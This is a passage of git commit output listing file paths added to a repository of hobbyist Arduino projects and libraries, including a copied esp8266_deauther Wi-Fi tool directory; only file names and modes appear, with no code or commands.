Main/_2x7_Segment_74HC_Self/_2x7_Segment_74HC_Self.ino create mode 100755 Projects/7 Segment Main/_2x7_Segment_74HC_Write/_2x7_Segment_74HC_Write.ino create mode 100755 Projects/7 Segment Main/_7_Segment/_7_Segment.ino create mode 100755 Projects/7 Segment Main/_7_Segment_Letters/_7_Segment_Letters.ino create mode 100755 Projects/7 Segment Main/_7_Segment_Self/_7_Segment_Self.ino create mode 100755 Projects/7 Segment Main/_7_Segment_w__74HC/_7_Segment_w__74HC.ino create mode 100755 Projects/7 Segment Main/_8_LED_74HC/_8_LED_74HC.ino create mode 100644 Projects/7x5 Display/_1.singleTest/_1.singleTest.ino create mode 100644 Projects/7x5 Display/_1.singleTets/_1.singleTets.ino create mode 100755 Projects/Colorful_Light_RGB_LEDs/Colorful_Light_RGB_LEDs.ino create mode 100644 Projects/I2C_20x4_Test/I2C_20x4_Test/I2C_20x4_Test.ino create mode 100755 Projects/IR_LightSwitch/IR_LightSwitch.ino create mode 100755 Projects/Keyboard/Login/Login.ino create mode 100755 Projects/Keyboard/Open_Program/Open_Program.ino create mode 100755 Projects/Keyboard/Sleep/Sleep.ino create mode 100755 Projects/Keyboard/ping/ping.ino create mode 100755 Projects/Lock/Lock.ino create mode 100644 Projects/ProgLab/Instrument/Instrument.ino create mode 100644 Projects/ProgLab/Instrument2/Instrument2.ino create mode 100644 Projects/ProgLab/LineFollow/LineFollow.ino create mode 100644 Projects/ProgLab/LineFollower/LineFollower.ino create mode 100644 Projects/ProgLab/Lyskryss/Lyskryss.ino create mode 100644 Projects/ProgLab/Lyskryss/data/plab-library-master.zip create mode 100644 Projects/ProgLab/Zumo_1/Zumo_1.ino create mode 100644 Projects/ProgLab/Zumo_2.0/Zumo_2.0.ino create mode 100644 Projects/ProgLab/Zumo_2/Zumo_2.ino create mode 100644 Projects/ProgLab/Zumo__/Zumo__.ino create mode 100644 Projects/ProgLab/toneAC.h/toneAC.h create mode 100644 Projects/ProgLab/toneAC.h/toneAC.h.ino create mode 100644 Projects/RelayController/RelayController_1.0/RelayController_1.0.ino create mode 100644 Projects/RelayController/ServerController_1.0/ServerController_1.0.ino create mode 100644 Projects/RelayController/ServerController_1.1/ServerController_1.1.ino create mode 100755 Projects/Reset/Reset.ino create mode 100644 Projects/ST_Two_Small_Clock/ST2_Main/ST2_Main.ino create mode 100644 Projects/ST_Two_Small_Clock/ST2_Matrix/ST2_Matrix.ino create mode 100644 Projects/ST_Two_Small_Clock/ST2_RTC/ST2_RTC.ino create mode 100644 Projects/ST_Two_Small_Clock/ST2_Routines/ST2_Routines.ino create mode 100644 Projects/ST_Two_Small_Clock/ST2_Setup/ST2_Setup.ino create mode 100644 Projects/ST_Two_Small_Clock/ST2_Sleep/ST2_Sleep.ino create mode 100644 Projects/ST_Two_Small_Clock/ST2_TWI/ST2_TWI.ino create mode 100644 Projects/ST_Two_Small_Clock/ST_Two_Small_Clock_1/ST_Two_Small_Clock_1.ino create mode 100755 Projects/Servo_Sweep/Servo_Sweep.ino create mode 100755 Projects/StepMotor/StepMotor.ino create mode 100755 Projects/Tea-duino Main/Joystick_DirectionPrint/Joystick_DirectionPrint.ino create mode 100755 Projects/Tea-duino Main/Menusystem_LCD/Menusystem_LCD.ino create mode 100755 Projects/Tea-duino Main/Menusystem_LCD/data/JoystickController.zip create mode 100755 Projects/Tea-duino Main/Schematics/Screen Shot 2014-05-11 at 22.08.05.png create mode 100755 Projects/Tea-duino Main/Schematics/Tea-Duino Schematic.fzz create mode 100755 Projects/Tea-duino Main/SimplePost/SimplePost.ino create mode 100755 Projects/Tea-duino Main/Tea-duino 2.0.pde create mode 100755 Projects/Tea-duino Main/Tea-duino.pde create mode 100755 Projects/Tea-duino Main/TeaAnimation/TeaAnimation.ino create mode 100755 Projects/Tea-duino Main/Tea_duino/Tea_duino.ino create mode 100755 Projects/Tea-duino Main/Tea_duino_2_0/Tea_duino_2_0.ino create mode 100755 Projects/Tea-duino Main/Tea_duino_3_0/Tea_duino_3_0.ino create mode 100755 Projects/Temp Main/TEMP01/TEMP01.ino create mode 100755 Projects/Temp Main/TEMP02/TEMP02.ino create mode 100755 Projects/Temp Main/Temp_All/Temp_All.ino create mode 100755 Projects/Temp Main/Temp_Pre/Temp_Pre.ino create mode 100755 Projects/Tweet/SimplePost/SimplePost.ino create mode 100755 Projects/Tweet/SimpleTweetPost/SimpleTweetPost.ino create mode 100755 Projects/_3DInterface/_3DInterface.ino create mode 100644 Projects/_5_buttonTest/_5_buttonTest.ino create mode 100755 Projects/callbackEcho1/callbackEcho1.ino create mode 100755 Projects/codeDebouncePushButtonOnOff/codeDebouncePushButtonOnOff.ino create mode 100644 Projects/gps/raw_outputSoftwareSerial/raw_outputSoftwareSerial.ino create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLEFirmata/.gitignore create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLEFirmata/Adafruit_BLE_Firmata.cpp create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLEFirmata/Adafruit_BLE_Firmata.h create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLEFirmata/Boards.h create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLEFirmata/LICENSE.txt create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLEFirmata/README.md create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLEFirmata/examples/StandardFirmata/LICENSE.txt create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLEFirmata/examples/StandardFirmata/Makefile create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLEFirmata/examples/StandardFirmata/StandardFirmata.ino create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLEFirmata/keywords.txt create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/Adafruit_BLE_UART.cpp create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/Adafruit_BLE_UART.h create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/README.md create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/examples/callbackEcho/callbackEcho.ino create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/examples/echoDemo/echoDemo.ino create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci.h create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_cmds.h create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_evts.h create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_protocol_defines.h create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.cpp create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.h create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.cpp create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.h create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_defs.h create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_if.h create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_types.h create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/ble_system.h create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/dtm.h create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_aci_tl.h create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_io.h create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_aci_tl.cpp create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_platform.h create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/lib_aci.cpp create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/lib_aci.h create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/UART_over_BLE.xml create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/services.h create mode 100755 Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/ublue_setup.gen.out.txt create mode 100755 Projects/libraries/Installed_libs/Ethernet/README-ETHERNET.txt create mode 100755 Projects/libraries/Installed_libs/Ethernet/UdpBytewise.cpp create mode 100755 Projects/libraries/Installed_libs/Ethernet/UdpBytewise.h create mode 100755 Projects/libraries/Installed_libs/Ethernet/UdpRaw.cpp create mode 100755 Projects/libraries/Installed_libs/Ethernet/UdpRaw.h create mode 100755 Projects/libraries/Installed_libs/Ethernet/UdpString.cpp create mode 100755 Projects/libraries/Installed_libs/Ethernet/UdpString.h create mode 100755 Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveBytewise/UdpReceiveBytewise.pde create mode 100755 Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveRaw/UdpReceiveRaw.pde create mode 100755 Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveString/UdpReceiveString.pde create mode 100755 Projects/libraries/Installed_libs/Ethernet/examples/UdpSendBytewise/UdpSendBytewise.pde create mode 100755 Projects/libraries/Installed_libs/Ethernet/examples/UdpSendRaw/UdpSendRaw.pde create mode 100755 Projects/libraries/Installed_libs/Ethernet/examples/UdpSendString/UdpSendString.pde create mode 100755 Projects/libraries/Installed_libs/IRRemote/IRremote.cpp create mode 100755 Projects/libraries/Installed_libs/IRRemote/IRremote.h create mode 100755 Projects/libraries/Installed_libs/IRRemote/IRremoteInt.h create mode 100755 Projects/libraries/Installed_libs/IRRemote/LICENSE.txt create mode 100755 Projects/libraries/Installed_libs/IRRemote/examples/IRrecord/IRrecord.ino create mode 100755 Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDemo/IRrecvDemo.ino create mode 100755 Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDump/IRrecvDump.ino create mode 100755 Projects/libraries/Installed_libs/IRRemote/examples/IRrelay/IRrelay.ino create mode 100755 Projects/libraries/Installed_libs/IRRemote/examples/IRsendDemo/IRsendDemo.ino create mode 100755 Projects/libraries/Installed_libs/IRRemote/examples/IRtest/IRtest.ino create mode 100755 Projects/libraries/Installed_libs/IRRemote/examples/IRtest2/IRtest2.ino create mode 100755 Projects/libraries/Installed_libs/IRRemote/examples/JVCPanasonicSendDemo/JVCPanasonicSendDemo.ino create mode 100755 Projects/libraries/Installed_libs/IRRemote/keywords.txt create mode 100755 Projects/libraries/Installed_libs/IRRemote/readme create mode 100755 Projects/libraries/Installed_libs/JoystickController/.gitignore create mode 100755 Projects/libraries/Installed_libs/JoystickController/Examples/a019_JoystickController/a019_JoystickController.ino create mode 100755 Projects/libraries/Installed_libs/JoystickController/JoystickController.cpp create mode 100755 Projects/libraries/Installed_libs/JoystickController/JoystickController.h create mode 100755 Projects/libraries/Installed_libs/JoystickController/LICENSE create mode 100755 Projects/libraries/Installed_libs/JoystickController/README.md create mode 100755 Projects/libraries/Installed_libs/JoystickController/keywords.txt create mode 100755 Projects/libraries/Installed_libs/Keypad/Keypad.cpp create mode 100755 Projects/libraries/Installed_libs/Keypad/Keypad.h create mode 100755 Projects/libraries/Installed_libs/Keypad/examples/CustomKeypad/CustomKeypad.ino create mode 100755 Projects/libraries/Installed_libs/Keypad/examples/DynamicKeypad/DynamicKeypad.ino create mode 100755 Projects/libraries/Installed_libs/Keypad/examples/EventKeypad/EventKeypad.ino create mode 100755 Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad/HelloKeypad.ino create mode 100755 Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad3/HelloKeypad3.ino create mode 100755 Projects/libraries/Installed_libs/Keypad/examples/MultiKey/MultiKey.ino create mode 100755 Projects/libraries/Installed_libs/Keypad/examples/loopCounter/loopCounter.ino create mode 100755 Projects/libraries/Installed_libs/Keypad/keywords.txt create mode 100755 Projects/libraries/Installed_libs/Keypad/utility/Key.cpp create mode 100755 Projects/libraries/Installed_libs/Keypad/utility/Key.h create mode 100755 Projects/libraries/Installed_libs/NewPing/NewPing.cpp create mode 100755 Projects/libraries/Installed_libs/NewPing/NewPing.h create mode 100755 Projects/libraries/Installed_libs/NewPing/examples/NewPing15Sensors/NewPing15Sensors.pde create mode 100755 Projects/libraries/Installed_libs/NewPing/examples/NewPingEventTimer/NewPingEventTimer.pde create mode 100755 Projects/libraries/Installed_libs/NewPing/examples/NewPingExample/NewPingExample.ino create mode 100755 Projects/libraries/Installed_libs/NewPing/examples/TimerExample/TimerExample.pde create mode 100755 Projects/libraries/Installed_libs/NewPing/keywords.txt create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/.gitignore create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Clean.sublime-build create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Compile.sublime-build create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload-Compile.sublime-build create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload.sublime-build create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/Arduino.sublime-completions create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/Arduino.tmLanguage create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-commands create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-keymap create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/LICENSE create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/Main.sublime-menu create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/README.md create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/Snippets/loop.sublime-snippet create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/Snippets/setup.sublime-snippet create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/Support/Monitor create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/__init__.py create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/arduino.py create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/messages.json create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/messages/1.0.0.txt create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/messages/install.txt create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/sketch_template create mode 100755 Projects/libraries/Installed_libs/ST2_Arduino/test/src/test.ino create mode 100755 Projects/libraries/Installed_libs/Time/DateStrings.cpp create mode 100755 Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/SyncArduinoClock.pde create mode 100755 Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/readme.txt create mode 100755 Projects/libraries/Installed_libs/Time/Examples/TimeGPS/TimeGPS.pde create mode 100755 Projects/libraries/Installed_libs/Time/Examples/TimeNTP/TimeNTP.pde create mode 100755 Projects/libraries/Installed_libs/Time/Examples/TimeRTC/TimeRTC.pde create mode 100755 Projects/libraries/Installed_libs/Time/Examples/TimeRTCLog/TimeRTCLog.pde create mode 100755 Projects/libraries/Installed_libs/Time/Examples/TimeRTCSet/TimeRTCSet.pde create mode 100755 Projects/libraries/Installed_libs/Time/Examples/TimeSerial/TimeSerial.pde create mode 100755 Projects/libraries/Installed_libs/Time/Examples/TimeSerialDateStrings/TimeSerialDateStrings.pde create mode 100755 Projects/libraries/Installed_libs/Time/Readme.txt create mode 100755 Projects/libraries/Installed_libs/Time/Time.cpp create mode 100755 Projects/libraries/Installed_libs/Time/Time.h create mode 100755 Projects/libraries/Installed_libs/Time/keywords.txt create mode 100644 Projects/libraries/Installed_libs/TimerOnev2/TimerOne.cpp create mode 100644 Projects/libraries/Installed_libs/TimerOnev2/TimerOne.h create mode 100755 Projects/libraries/Installed_libs/Twitter/Twitter.cpp create mode 100755 Projects/libraries/Installed_libs/Twitter/Twitter.h create mode 100755 Projects/libraries/Installed_libs/Twitter/examples/SimplePost/SimplePost.pde create mode 100755 Projects/libraries/Installed_libs/Twitter/examples/Twitter_Serial_GW/Twitter_Serial_GW.ino create mode 100755 Projects/libraries/Installed_libs/Twitter/keywords.txt create mode 100755 Projects/libraries/Installed_libs/readme.txt create mode 100755 Projects/libraries/Installed_libs/toneAC/examples/toneAC_demo/toneAC_demo.pde create mode 100755 Projects/libraries/Installed_libs/toneAC/examples/toneAC_dual_LED/toneAC_dual_LED.pde create mode 100755 Projects/libraries/Installed_libs/toneAC/keywords.txt create mode 100755 Projects/libraries/Installed_libs/toneAC/toneAC.cpp create mode 100755 Projects/libraries/Installed_libs/toneAC/toneAC.h create mode 100644 Projects/libraries/PLabBT/PLabBTSerial.cpp create mode 100644 Projects/libraries/PLabBT/PLabBTSerial.h create mode 100644 Projects/libraries/plab-library-master/PushButton.cpp create mode 100644 Projects/libraries/plab-library-master/PushButton.h create mode 100644 Projects/pir_test/pir_test.ino create mode 100644 Projects/sketch_jan27a/sketch_jan27a.ino create mode 100644 Projects/sketch_jan27a/toneAC.h create mode 100755 enp8266/esp8266_deauther-master/CODE_OF_CONDUCT.md create mode 100755 enp8266/esp8266_deauther-master/CONTRIBUTING.md create mode 100755 enp8266/esp8266_deauther-master/ISSUE_TEMPLATE.md create mode 100755 enp8266/esp8266_deauther-master/LICENSE create mode 100755 enp8266/esp8266_deauther-master/README.md create mode 100755 enp8266/esp8266_deauther-master/Reset_Sketch/README.md create mode 100755 enp8266/esp8266_deauther-master/Reset_Sketch/Reset_Sketch.ino create mode 100755 enp8266/esp8266_deauther-master/Reset_Sketch/blank_1MB.bin create mode 100755 enp8266/esp8266_deauther-master/Reset_Sketch/reset_16mb.bin create mode 100755 enp8266/esp8266_deauther-master/Reset_Sketch/reset_1mb.bin create mode 100755 enp8266/esp8266_deauther-master/Reset_Sketch/reset_4mb.bin create mode 100755 enp8266/esp8266_deauther-master/Reset_Sketch/reset_512kb.bin create mode 100755 enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/A_config.h create mode 100755 enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/README.md create mode 100755 enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/A_config.h create mode 100755 enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/README.md create mode 100755 enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/A_config.h create mode 100755 enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/README.md create mode 100755 enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/A_config.h create mode 100755 enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/README.md create mode 100755 enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/A_config.h create mode 100755 enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/README.md create mode 100755 enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/A_config.h create mode 100755 enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v2_v2.5_v3/README.md create mode 100755 enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/A_config.h create mode 100755 enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/README.md create mode 100755 enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/A_config.h create mode 100755 enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/README.md create mode 100755 enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/A_config.h create mode 100755 enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/README.md create mode 100755 enp8266/esp8266_deauther-master/configs/Default/A_config.h create mode 100755 enp8266/esp8266_deauther-master/configs/Default/README.md create mode 100755 enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/A_config.h create mode 100755 enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/README.md create mode 100755 enp8266/esp8266_deauther-master/configs/README.md create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/A_config.h create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.cpp create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.h create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/Attack.cpp create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/Attack.h create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/CLI.cpp create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/CLI.h create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/DisplayUI.cpp create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/DisplayUI.h create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/LED.cpp create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/LED.h create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/Names.cpp create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/Names.h create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/SSIDs.cpp create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/SSIDs.h create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/Scan.cpp create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/Scan.h create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/Settings.cpp create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/Settings.h create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/SimpleList.h create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/Stations.cpp create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/Stations.h create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/LICENSE.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/attack.html.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/index.html.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/info.html.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/js/attack.js.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/js/scan.js.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/js/settings.js.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/js/site.js.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/js/ssids.js.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/cn.lang.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/cs.lang.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/de.lang.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/en.lang.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/es.lang.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/fi.lang.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/fr.lang.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/it.lang.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/ro.lang.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/ru.lang.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/tlh.lang.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/scan.html.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/settings.html.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/ssids.html.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/data/web/style.css.gz create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/esp8266_deauther.ino create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/functions.h create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/language.h create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/oui.h create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/webfiles.h create mode 100755 enp8266/esp8266_deauther-master/esp8266_deauther/wifi.h create mode 100755 enp8266/esp8266_deauther-master/serialcommands.md create mode 100755 enp8266/esp8266_deauther-master/settings.md create mode 100755 enp8266/esp8266_deauther-master/utils/old_web_converter/convert_all.sh create mode 100755 enp8266/esp8266_deauther-master/utils/old_web_converter/converter.html create mode 100755 enp8266/esp8266_deauther-master/utils/old_web_converter/jquery-3.2.1.min.js create mode 100755 enp8266/esp8266_deauther-master/utils/old_web_converter/readme.md create mode 100755 enp8266/esp8266_deauther-master/utils/old_web_converter/style.css create mode 100755 enp8266/esp8266_deauther-master/utils/vendor_list_updater/README.md create mode 100755 enp8266/esp8266_deauther-master/utils/vendor_list_updater/update_manuf.py create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/css_html_js_minify/__init__.py create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/css_html_js_minify/__pycache__/__init__.cpython-36.pyc create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/css_html_js_minify/__pycache__/__init__.cpython-37.pyc create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/css_html_js_minify/__pycache__/css_minifier.cpython-36.pyc create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/css_html_js_minify/__pycache__/css_minifier.cpython-37.pyc create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/css_html_js_minify/__pycache__/html_minifier.cpython-36.pyc create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/css_html_js_minify/__pycache__/html_minifier.cpython-37.pyc create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/css_html_js_minify/__pycache__/js_minifier.cpython-36.pyc create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/css_html_js_minify/__pycache__/js_minifier.cpython-37.pyc create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/css_html_js_minify/__pycache__/minify.cpython-36.pyc create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/css_html_js_minify/__pycache__/minify.cpython-37.pyc create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/css_html_js_minify/__pycache__/variables.cpython-36.pyc create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/css_html_js_minify/__pycache__/variables.cpython-37.pyc create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/css_html_js_minify/css_minifier.py create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/css_html_js_minify/html_minifier.py create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/css_html_js_minify/js_minifier.py create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/css_html_js_minify/minify.py create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/css_html_js_minify/variables.py create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/readme.md create mode 100755 enp8266/esp8266_deauther-master/utils/web_converter/webConverter.py create mode 100755 enp8266/esp8266_deauther-master/web_interface/attack.html create mode 100755 enp8266/esp8266_deauther-master/web_interface/attack.json create mode 100755 enp8266/esp8266_deauther-master/web_interface/index.html create mode 100755 enp8266/esp8266_deauther-master/web_interface/info.html create mode 100755 enp8266/esp8266_deauther-master/web_interface/js/attack.js create mode 100755 enp8266/esp8266_deauther-master/web_interface/js/scan.js create mode 100755 enp8266/esp8266_deauther-master/web_interface/js/settings.js create mode 100755 enp8266/esp8266_deauther-master/web_interface/js/site.js create mode 100755 enp8266/esp8266_deauther-master/web_interface/js/ssids.js create mode 100755 enp8266/esp8266_deauther-master/web_interface/lang/cn.lang create mode 100755 enp8266/esp8266_deauther-master/web_interface/lang/cs.lang create mode 100755 enp8266/esp8266_deauther-master/web_interface/lang/de.lang create mode 100755 enp8266/esp8266_deauther-master/web_interface/lang/en.lang create mode 100755 enp8266/esp8266_deauther-master/web_interface/lang/es.lang create mode 100755 enp8266/esp8266_deauther-master/web_interface/lang/fi.lang create mode 100755 enp8266/esp8266_deauther-master/web_interface/lang/fr.lang create mode 100755 enp8266/esp8266_deauther-master/web_interface/lang/it.lang create mode 100755 enp8266/esp8266_deauther-master/web_interface/lang/ro.lang create mode 100755 enp8266/esp8266_deauther-master/web_interface/lang/ru.lang create mode 100755 enp8266/esp8266_deauther-master/web_interface/lang/tlh.lang create mode 100755 enp8266/esp8266_deauther-master/web_interface/license create mode 100755 enp8266/esp8266_deauther-master/web_interface/names.json create mode 100755 enp8266/esp8266_deauther-master/web_interface/run create mode 100755 enp8266/esp8266_deauther-master/web_interface/scan.html create mode 100755 enp8266/esp8266_deauther-master/web_interface/scan.json create mode 100755 enp8266/esp8266_deauther-master/web_interface/settings.html create mode 100755 enp8266/esp8266_deauther-master/web_interface/settings.json create mode 100755 enp8266/esp8266_deauther-master/web_interface/ssids.html create mode 100755 enp8266/esp8266_deauther-master/web_interface/ssids.json create mode 100755 enp8266/esp8266_deauther-master/web_interface/style.css create mode 100644 libraries/Arduino-LiquidCrystal-I2C-library-master/LiquidCrystal_I2C.cpp create mode 100644 libraries/Arduino-LiquidCrystal-I2C-library-master/LiquidCrystal_I2C.h create mode 100644 libraries/Arduino-LiquidCrystal-I2C-library-master/README.md create mode 100644 libraries/Arduino-LiquidCrystal-I2C-library-master/examples/BlinkingCursor/BlinkingCursor.ino create mode 100644 libraries/Arduino-LiquidCrystal-I2C-library-master/examples/CustomChars/CustomChars.ino create mode 100644 libraries/Arduino-LiquidCrystal-I2C-library-master/examples/HelloWorld/HelloWorld.ino create mode 100644 libraries/Arduino-LiquidCrystal-I2C-library-master/examples/SerialDisplay/SerialDisplay.ino 